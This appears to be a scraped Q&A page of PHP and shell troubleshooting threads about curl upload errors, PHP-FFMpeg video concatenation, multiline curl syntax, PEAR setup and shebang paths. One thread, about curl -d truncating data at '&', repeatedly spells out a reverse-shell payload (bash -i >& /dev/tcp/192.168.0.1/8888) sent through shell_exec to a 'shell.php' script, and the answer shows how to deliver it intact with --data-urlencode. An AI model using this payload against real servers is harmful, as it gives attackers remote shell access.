curl: (26) couldn't open file - php

I am getting this error, when I am trying to call a box api through curl.
curl: (26) couldn't open file
Can't find why! I am calling this api with a correct file name-
curl https://upload.view-api.box.com/1/documents \
-H "Authorization: Token YOUR_API_TOKEN" \
-H "Content-type: multipart/form-data" \
-F file=#A_correct_file_name
I have seen all the three already asked questions but 2 of them are unanswered and one is specific to facebook.
cURL error 26 couldn't open file
Fatal error: Uncaught CurlException: 26: couldn't open file "" thrown in
Getting Fatal Error Uncaught CurlException: 26: couldn't open file

I was having a similar problem after changing to PHP 5 (I was using the # upload method and it was deprecated, so I had to start using CURLFile), and the solution to my problem was found in this stack.
Solution: curl upload won't work with relative paths, use the full path instead

Sorry guys! My bad. I had not included extension of the file in the file name. After including it, it worked. I am answering this in case someone does the same mistake in future.

For my case, using relative path didn't work. But changing it to a absolute path fixes it.
This failed
curl -i -X POST -H "Content-Type: multipart/form-data" \
-F "file=#~/Downloads/xxx.csv" http://localhost:6708/upload
This worked
curl -i -X POST -H "Content-Type: multipart/form-data" \
-F "file=#/Users/myself/Downloads/xxx.csv" http://localhost:6708/upload

I was having this problem this morning but I solved with this
fileUpload=#\"file, with comma .txt\"
So you have to put some double quotes around the file name if you have commas in the file name ( \" )

I had a similar problem with relative paths like #Guilherme did too. I was running my bash script with:
bash test/script.sh
However, my file was in the same directory level as the bash script and not the test directory (where I was calling bash from), so the script could not find my file.
Solution for me:
1. cd into /test and run bash script.sh from there
2. Use absolute paths

I am using PlateRecognizer.com to secure license plate information from pics that I have isolated from videos from my dashcam. I was having so many problems with the exact code. PlateRecognizer did not provide the correct information in their help section.
I work using my Windows 10 laptop. This code is what finally worked for me:
curl -F upload=#/”Users/Me/Desktop/Driver1.mp4” -F regions=us-az -H “Authorization: Token 4892e779f97d879df6453” https://api.platerecognizer.com/v1/plate-reader/
Make note of the double quote marks around the file path and name - not single quote marks.

Luis Cruz is correct: quotes are required around the filename, but I needed to use the 'file' keyword, not 'fileUpload', as is it shown in the question.
curl -X GET \
-H 'Content-Type: multipart/form-data' \
-F file=#"/path/to/file.ext" \
'http://host:port/path/to/dir'

Related

curl -d option truncate data with & symbol

I was testing by sending some data using curl -d and retrieve the data in a PHP script using $_POST['data'],
My request is like
curl https://localhost/shell.php -d "data=shell_exec(\"/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.0.1/8888 0>&1 ' \");"
And the shell.php script is like:
var_dump($_POST['data']);
However, the output is truncated, I am only able to get:
shell_exec(\"/bin/bash -c '/bin/bash -i >
from $_POST['data'].
Can you try and escape \&
Like curl https://localhost/shell.php -d "data=shell_exec("/bin/bash -c '/bin/bash -i >\& /dev/tcp/192.168.0.1/8888 0>&1 ' ");"
?
The Cause
After doing some research, i think i find the root cause of this problem.
First, we have to understand some basic workflow of PHP runtime. When a http request is sent to fast-cgi, the workflow looks like below:
Some preprocess(i didn't research too much in this step)
Post request processed vim a bunch module:
cgi_main
SAPI
Some other code
PHP String Process
We can also find that there is a page about PHP default configuration and we can figure out that & is the default arg separator for input parameter.
According to all the information we have so far, we can conclude PHP runtime will receive the post data sent by curl and parse it automatically and during the process it will split parameter string based on the default separator.
In my case, if i sent the post request with -d, the & was not encoded and thus the data will be truncated by PHP at the first occurrence of &, which cause the following command to be abandoned.
The Solution
Use --data-url-encode instead of -d
curl https://localhost/shell.php --data-urlencode "data=shell_exec(\"/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.0.1/8888 0>&1 ' \");"
Note
Some times we see something like PG, SG and EG. They are PHP common macros from:
PHP
ZEND
SAPI

PHP-FFMpeg: How to properly concatenate two videos?

THE SITUATION:
I need it to concatenate multiple videos into one single video.
I am using the library PHP-FFMpeg.
But I don't manage to make it working.
THE VIDEOS:
The videos are recordings made with the MediaRecorder Web API.
The video format is: video/webm;codecs=h264
The audio format is opus.
recorder = new MediaRecorder(this.stream, {
mimeType: 'video/webm;codecs=h264'
})
CONCAT USING PHP-FFMPEG (using saveFromSameCodecs):
This is how I try to concat them using saveFromSameCodecs:
(I have checked the paths and are correct)
$video = $ffmpeg->open( $path1 );
$video
->concat([$path1, $path2])
->saveFromSameCodecs($path_output, TRUE);
But it failed with the following error message:
ffmpeg failed to execute command '/usr/local/bin/ffmpeg' '-f' 'concat' '-safe' '0' '-i' '/private/var/folders/dw/919v2nds7s78pz_qhp7z9rcm0000gn/T/ffmpeg-concath1kHiX' '-c' 'copy' '/Users/francescomussi/Desktop/Apps/cameraProject/back-end/camera-laravel/storage/app/public/videos/output.mp4'
CONCAT USING FFMPEG COMMAND LINE:
On suggestion on #RolandStarke and #LordNeckbeard I have tried using the ffmpeg command line to get a better insight on what is going on.
If I use the following command line:
ffmpeg -f concat -safe 0 -i mylist.txt -c copy output.mp4
I get the following error, related to the audio opus codec.
If I use the following command line, converting the audio coded to acc:
ffmpeg -f concat -safe 0 -i mylist.txt -c:v copy -c:a aac output.mp4
The final video is properly created, as a concatenation of the other videos.
CONCAT USING PHP-FFMPEG: (using saveFromDifferentCodecs)
It seems the problem is ONLY related to the codec.
So I have tried using saveFromDifferentCodecs:
$format = new FFMpeg\Format\Video\X264('libfdk_aac', 'libx264');
$result = $video1
->concat([$path1, $path2])
->saveFromDifferentCodecs($format, $output_path);
But I still get an error:
ffmpeg failed to execute command '/usr/local/bin/ffmpeg' '-i' '/Users/francescomussi/Desktop/Apps/cameraProject/back-end/camera-laravel/storage/app/public/videos/test1.mp4' '-i' '/Users/francescomussi/Desktop/Apps/cameraProject/back-end/camera-laravel/storage/app/public/videos/test2.mp4' '-filter_complex' '[0:v:0] [0:a:0] [1:v:0] [1:a:0] concat=n=2:v=1:a=1 [v] [a]' '-map' '[v]' '-map' '[a]' '-b:a' '128k' '/Users/francescomussi/Desktop/Apps/cameraProject/back-end/camera-laravel/storage/app/public/videos/output.mp4'
CONCAT USING PHPFFMPEG (but with different videos):
If the problem is only related to the codec, then using two different videos with video codec: h264 and audio codec aac, it should work, but it doesn't:
ffmpeg failed to execute command '/usr/local/bin/ffmpeg' '-f' 'concat' '-safe' '0' '-i' '/private/var/folders/dw/919v2nds7s78pz_qhp7z9rcm0000gn/T/ffmpeg-concatoJGhLt' '-c' 'copy' '/Users/francescomussi/Desktop/Apps/cameraProject/back-end/camera-laravel/storage/app/public/videos/output.mp4'
But using the command line it works smoothly: ffmpeg -f concat -safe 0 -i mylist.txt -c copy output.mp4
CONCAT USING shell_exec:
I have tried using shell_exec, with the first two videos (opus codec):
echo shell_exec("/usr/local/bin/ffmpeg -f concat -safe 0 -i /Users/francescomussi/Desktop/Apps/cameraProject/back-end/camera-laravel/mylist.txt -c:v copy -c:a aac /Users/francescomussi/Desktop/Apps/cameraProject/back-end/camera-laravel/output.mp4 2>&1");
And it works smoothly.
The final output is created, and with the acc audio codec.
TESTING THE LIBRARY:
To see if php-mpeg was actually working, I test it by making a basic resize of a video and it worked correctly.
RESUME:
Using ffmpeg command lines everything works fine
Using shell_exec everything works fine
Using php-ffmpeg I always get the error ffmpeg failed to execute command
QUESTION:
How can I concat videos using php-ffmpeg?
Is the issue caused by wrong encoding?
Thanks!
When encountering issues with php-ffmpeg the best approach is to copy the command from the error message and paste it in terminal. This will give you a better error message.
In your case the the error is
ffmpeg failed to execute command '/usr/local/bin/ffmpeg' '-f' 'concat' '-safe' '0' '-i' '/private/var/folders/dw/919v2nds7s78pz_qhp7z9rcm0000gn/T/ffmpeg-concath1kHiX' '-c' 'copy' '/Users/francescomussi/Desktop/Apps/cameraProject/back-end/camera-laravel/storage/app/public/videos/output.mp4
Debugging this is a bit harder as the temp file /private/var/[...]/ffmpeg-concath1kHiX is deleted when you try to execute the ffmpeg command in the terminal. To test it you can create the temp file yourself like:
$vidoes = [__DIR__ . '/small.mp4', __DIR__ . '/small.mp4'];
file_put_contents('videolist.txt', implode("\n", array_map(function ($path) {
return 'file ' . addslashes($path);
}, $vidoes)));
Now you can run the ffmpeg command in the terminal
ffmpeg -f concat -safe 0 -i videolist.txt -c copy /Users/[...]/videos/output.mp4
#[...]
#File '/Users/[...]/videos/output.mp4' already exists. Overwrite ? [y/N]
#Not overwriting - exiting
So you your case the error is that the output file already existed. The solution is to use an other non-existing output file or delete it before concatenating your videos.
Here an example how to concatenate files (small.mp4 taken from http://techslides.com/sample-webm-ogg-and-mp4-video-files-for-html5)
<?php
require 'vendor/autoload.php';
$ffmpeg = FFMpeg\FFMpeg::create();
$video = $ffmpeg->open(__DIR__ . '/small.mp4');
$video
->concat([__DIR__ . '/small.mp4', __DIR__ . '/small.mp4'])
->saveFromSameCodecs(__DIR__ . '/out-'. time() . '.mp4', true);
The correct answer is the one from #RolandStarke.
Here I just want to put together a list of suggestions that may be useful to debug other similar problems in dealing with ffmpeg:
Make a reinstall of ffmpeg. It may be a missing option or a missing codec. Here is how to install (for mac), including all possible options (september 2018). It took me 30minutes so be patient.
brew install ffmpeg --with-chromaprint --with-fdk-aac --with-fontconfig --with-freetype --with-frei0r --with-game-music-emu --with-libass --with-libbluray --with-libbs2b --with-libcaca --with-libgsm --with-libmodplug --with-librsvg --with-libsoxr --with-libssh --with-libvidstab --with-libvorbis --with-libvpx --with-opencore-amr --with-openh264 --with-openjpeg --with-openssl --with-opus --with-rtmpdump --with-rubberband --with-sdl2 --with-snappy --with-speex --with-srt --with-tesseract --with-theora --with-tools --with-two-lame --with-wavpack --with-webp --with-x265 --with-xz --with-zeromqlibzeromq --with-zimg
To have the updated options list you can run: brew options ffmpeg or just google it.
Try to do the same thing you are trying to do, but using the ffmpeg command line only. It will more insight and a better error reporting. For example for concat:
ffmpeg -f concat -safe 0 -i mylist.txt -c copy output.mp4
Check that PHP-FFMpeg is properly working. Concat it's a bit more difficult operation. You can try with a simpler one and see if it's working and if the library is properly installed. For example you can try a simple conversion:
FFMpeg::fromDisk('local')
->open('public/videos/test.mp4')
->export()
->toDisk('local')
->inFormat(new FFMpeg\Format\Video\X264('libmp3lame', 'libx264'))
->save('public/videos/converted_test.mp4');
Double check every path. And in the case of concat, make sure the output file doesn't already exists.
It may be an encoding problem. Try other types of files with different codecs to see if that's actually the issue. In case you can convert beforehand to the proper codec.
Add line breaks in the source code. In my case I was getting the generic error: Unable to save concatenated video. Here is the source code:
try {
$this->driver->command($commands);
} catch (ExecutionFailureException $e) {
$this->cleanupTemporaryFile($outputPathfile);
$this->cleanupTemporaryFile($sourcesFile);
throw new RuntimeException('Unable to save concatenated video', $e->getCode(), $e);
}
But if I dump the execution and then die it, right before that block:
dd($this->driver->command($commands));
It was giving me a more detailed error message.
You can also dump the commands array: dd($commands);
Finally here is a list of similar issue with PHP-FFMpeg that you can check to see if the solution has already been given: https://github.com/pascalbaljetmedia/laravel-ffmpeg/wiki/FFmpeg-failed-to-execute-command
If you have other suggestions feel free to comment or edit the answer.

How do I write this cURL request correctly?

I am trying to complete a Facebook messenger bot based on this tutorial here: https://github.com/voronianski/simon-le-bottle/blob/master/GUIDE.md
As you can see in the last instruction, I must send a page access token via this cURL request in the following format:
curl -i \
-H "Content-Type: application/json" \
-X POST \
-d "{\"verifyToken\": \"YOUR VERIFY TOKEN\", \"token\": \"YOUR PAGE ACCESS TOKEN\"}" \
https://YOUR_GENERATED_URL.now.sh/token
Of course I replaced "YOUR VERIFY TOKEN" with the token I've generated and "YOUR PAGE ACCESS TOKEN" with the page access token that I've generated and "YOUR GENERATED URL" with my own url. However, I have tried multiple times and gotten various errors.
The first time I just tried copying and pasting the tokens and url into the input space and pasting the cURL request in that format. I received the following errors:
curl: (6) Could not resolve host:
-bash: -H: command not found
-bash: -X: command not found
Basically all I received were commands not found. Then, I tried a different approach and removed the new line tabs and leaving only spaces like so
curl -i \ -H "Content-Type: application/json" \ -X POST \ -d "{\"verifyToken\": \"randomverifytokenhere\", \"token\": otherrandomtokenhere\"}" https://myspecificurl.now.sh/token
Where of course I had actual working tokens and a website yet again. The commands seemed to work, but I got a whole new crop of errors like so:
curl: (6) Could not resolve host: -H
curl: (6) Could not resolve host: Content-Type
curl: (6) Could not resolve host:
curl: (6) Could not resolve host: -d
curl: (6) Could not resolve host: "verifyToken"
curl: (6) Could not resolve host: "token"
HTTP/1.1 403 Forbidden
Server: nginx
Date: Wed, 01 Jun 2016 21:51:10 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 9
Connection: keep-alive
X-Powered-By: Express
If anyone could tell me exactly how I need to format and paste it into terminal to point where it works, that would be very helpful. Or if there's an easier, better way, I would definitely appreciate that. Every other step, up until the very last instruction, has been completed. The website has already been verified with webhook by Facebook, and I only use valid tokens and the specific website generated with "NOW". Thank you very much everyone, and I appreciate the help.
Make sure you have no white space after the backslash at the end of the lines. When I highlight your command, there appears to be a space. If you remove those your problem should go away.
If you run it as a single line command, remove the backslashes that are at the end of each line.

pear environment variables causes error

I use Windows Server 2012 and PHP 5.3.13.
PHP is installed fine, and I try to install pear now.
I ran the go-pear.bat and keep hitting Enter, (using the defaults I guess).
Then ran the PEAR_ENV.
I checked the environment vars and chenged the values of PHP_PEAR_PHP_BIN to C:\Program Files (x86)\PHP\php.exe, where my php.exe lives. Both for Admin and System vars.
Now, when I type pear to command line I get the message syntax error, unexpected '(' in Unknown on line 14. I click OK and I get the options for pear.
I guess is caused because of the (x86) part in the values?
If I go to the website I am working, PHP cannot connect to the database. Is that a pear's fault? Or is another issue?
Thanks in advance
PS
Inside php.ini, the only line that is not a comment and has to do with include_path is this one include_path=".;C:\Program Files (x86)\PHP\pear"
This is caused because PHP “incorrectly” processes a line.
Open the pear.bat file find the following line, at the bottom
"%PHP_PEAR_PHP_BIN%" -C -d output_buffering=1 -d safe_mode=0 -d open_basedir="" -d auto_prepend_file="" -d auto_append_file="" -d variables_order=EGPCS -d register_argc_argv="On" -d include_path="%PHP_PEAR_INSTALL_DIR%" -f "%PHP_PEAR_INSTALL_DIR%pearcmd.php" -- %1 %2 %3 %4 %5 %6 %7 %8 %9
and replace the include_path="%PHP_PEAR_INSTALL_DIR%" part with "include_path='%PHP_PEAR_INSTALL_DIR%'"
The double quotes keeps shell happy, while the single quotes are for PHP to use.
Taken from Nasir's blog here. Worked for me

How do I solve "bad interpreter" error when interpreter is in non-standard location?

So my first problem is that I'm hosting on GoDaddy.
Second problem is that when I try to execute the following PHP script via SSH...
./searchreplacedb2cli.php -h hostname -u username -d databasename -p 'password'
...I get a /usr/bin/php: bad interpreter: No such file or directory error. This is because on shared hosting, there is no /usr/bin/php. Instead, the php cli I want is located here:
/usr/local/php5_3/bin/php
So, I manually changed the shebang declaration in the script to...
#!/usr/local/php5_3/bin/php -q
...and sure enough, it works.
However, I don't want to have to edit this script manually. I'm looking for a way to circumvent this issue programmatically. I use this script to deploy Wordpress sites on the fly. I wget it from a git repository each time I use it. Furthermore it is deleted and installed regularly from a bash script, so modifying it in a text editor each time is not an option.
Is there a way to pass an alternate interpreter to a bash command? Like, "if you don't find the default interpreter, use this one instead".
I tried this but it doesn't work:
./searchreplacedb2cli.php -h hostname -u username -d databasename -p 'password' | /usr/local/php5_3/bin/php
And because it's shared hosting I lack the permissions to symlink /usr/bin/php to the right place.
My next idea was to, via bash, edit line 1 of the php script using a sed replace command. I thought I would inquire here first for alternatives. Thanks.
If it's only this host, add /usr/local/php5_3/bin/ to your $PATH, and use this shebang:
#!/usr/bin/env php

Categories